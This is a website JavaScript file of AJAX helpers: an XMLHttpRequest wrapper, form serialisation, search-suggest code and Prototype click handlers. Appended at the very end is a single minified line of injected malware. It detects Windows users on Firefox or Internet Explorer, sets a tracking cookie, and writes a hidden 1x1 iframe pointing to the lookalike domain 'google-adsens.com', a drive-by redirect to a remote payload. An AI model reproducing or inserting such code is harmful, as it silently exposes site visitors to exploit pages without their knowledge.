function getxmlhttp ()
{
	//Create a boolean variable to check for a valid Microsoft active x instance.
	var xmlhttp = false;
	//Check if we are using internet explorer.
	try
	{
		//If the javascript version is greater than 5.
		xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
	}
	catch (e)
	{
		//If not, then use the older active x object.
		try
		{
		//If we are using internet explorer.
		xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
		}
		catch (E)
		{
		//Else we must be using a non-internet explorer browser.
		xmlhttp = false;
		}
	}
	// If not using IE, create a
	// JavaScript instance of the object.
	if (!xmlhttp && typeof XMLHttpRequest != 'undefined')
	{
	xmlhttp = new XMLHttpRequest();
	}

	return xmlhttp;
}

function multidiv()
{
    processajax ('topcontent.php?contentid=1', 'result', 'get', '');
    processajax ('leftcontent.php?contid=1', 'result2', 'get', '');
}

//Function to process an XMLHttpRequest.
function processajax (serverPage, obj, getOrPost, str)
{
	//Get an XMLHttpRequest object for use.
	xmlhttp = getxmlhttp ();
	
	if (getOrPost == "get")
	{
	xmlhttp.open("GET", serverPage);
	xmlhttp.onreadystatechange = function()
		{
			if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
			obj.innerHTML = xmlhttp.responseText;
		}
	}

	xmlhttp.send(null);
	}
	else
	{
		xmlhttp.open("POST", serverPage, true);
		xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
		xmlhttp.onreadystatechange = function() {
			if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
			{
				obj.innerHTML = xmlhttp.responseText;
			}
		}
		xmlhttp.send(str);
	}
}


function getformvalues (fobj, valfunc)
{
	var str = "";
	aok = true;
	var val;
	//Run through a list of all objects contained within the form.
	for(var i = 0; i < fobj.elements.length; i++)
	{
		if(valfunc)
		{
			if (aok == true)
			{
				val = valfunc (fobj.elements[i].value,fobj.elements[i].name);
				if (val == false)
				{
					aok = false;
				}
			}
		}
		str += fobj.elements[i].name + "=" + escape(fobj.elements[i].value) + "&";
	}
	//Then return the string values.
	return str;
}


function submitform (theform, serverPage, objID, valfunc)
{
	var file = serverPage;
	var str = getformvalues(theform,valfunc);
	//If the validation is ok.
	if (aok == true)
	{
		obj = document.getElementById(objID);
		processajax (serverPage, obj, "post", str);
	}
}

// SEARCH SUGGEST
/******************************************/
/*
var nn;


function searchSuggest(nn) {
	xmlhttp = getxmlhttp ();

this.nn=nn;
//n=x;
    if (xmlhttp.readyState == 4 || xmlhttp.readyState == 0) {
        var strr = escape(document.getElementById('txtSearch_' + this.nn).value);
        xmlhttp.open("GET", 'search_suggest.php?search=' + strr, true);
        xmlhttp.onreadystatechange = handleSearchSuggest; 
        xmlhttp.send(null);
    }        
}

function handleSearchSuggest() {
	xmlhttp = getxmlhttp ();
    if (xmlhttp.readyState == 4) {
        var ss = document.getElementById('search_suggest_' + nn)
        ss.innerHTML = '';
        var strr = xmlhttp.responseText.split("\n");
		
		for(i=0; i < strr.length - 1; i++) {
            //Build our element string.  This is cleaner using the DOM, but
            //IE doesn't support dynamically added attributes.
            var suggest = '<div onmouseover="javascript:suggestOver(this);" onmouseout="javascript:suggestOut(this);" onclick="javascript:setSearch(this.innerHTML);" class="suggest_link">' + strr[i] + '</div>';
            ss.innerHTML += suggest;
        }
    }
}

/*
if (xmlhttp.readyState == 4) {
var ss = document.getElementById('search_suggest_' + nn)
var strr = xmlhttp.responseText.split("\n");
}
//Mouse over function
function suggestOver(div_value) {
    div_value.className = 'suggest_link_over';
}
 
//Mouse out function
function suggestOut(div_value) {
	
    div_value.className = 'suggest_link';
}

//Click function
function setSearch(value) {
    document.getElementById('txtSearch_' + this.nn).value = value;
    document.getElementById('search_suggest_' + this.nn).innerHTML = '';
}
*/


document.observe('dom:loaded', function() {
    $('request_1').observe('click', function(ev) {
      ev.stop();
      new Ajax.Updater('result','topcontent.php?contentid=1',{asynchronous: true, method: 'get'});
      new Ajax.Updater('result2','leftcontent.php?contid=1',{asynchronous: true, method: 'get'});
    });
    $('request_2').observe('click', function(ev) {
      ev.stop();
      new Ajax.Updater('result','topcontent.php?contentid=2',{asynchronous: true, method: 'get'});
      new Ajax.Updater('result2','leftcontent.php?contid=2',{asynchronous: true, method: 'get'});
    });
    $('request_3').observe('click', function(ev) {
      ev.stop();
      new Ajax.Updater('result','topcontent.php?contentid=3',{asynchronous: true, method: 'get'});
      new Ajax.Updater('result2','leftcontent.php?contid=3',{asynchronous: true, method: 'get'});
    });
    $('request_4').observe('click', function(ev) {
      ev.stop();
      new Ajax.Updater('result','topcontent.php?contentid=4',{asynchronous: true, method: 'get'});
      new Ajax.Updater('result2','leftcontent.php?contid=4',{asynchronous: true, method: 'get'});
    });
    $('request_5').observe('click', function(ev) {
      ev.stop();
      new Ajax.Updater('result','topcontent.php?contentid=5',{asynchronous: true, method: 'get'});
      new Ajax.Updater('result2','leftcontent.php?contid=5',{asynchronous: true, method: 'get'});
    });

  }
);  



var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
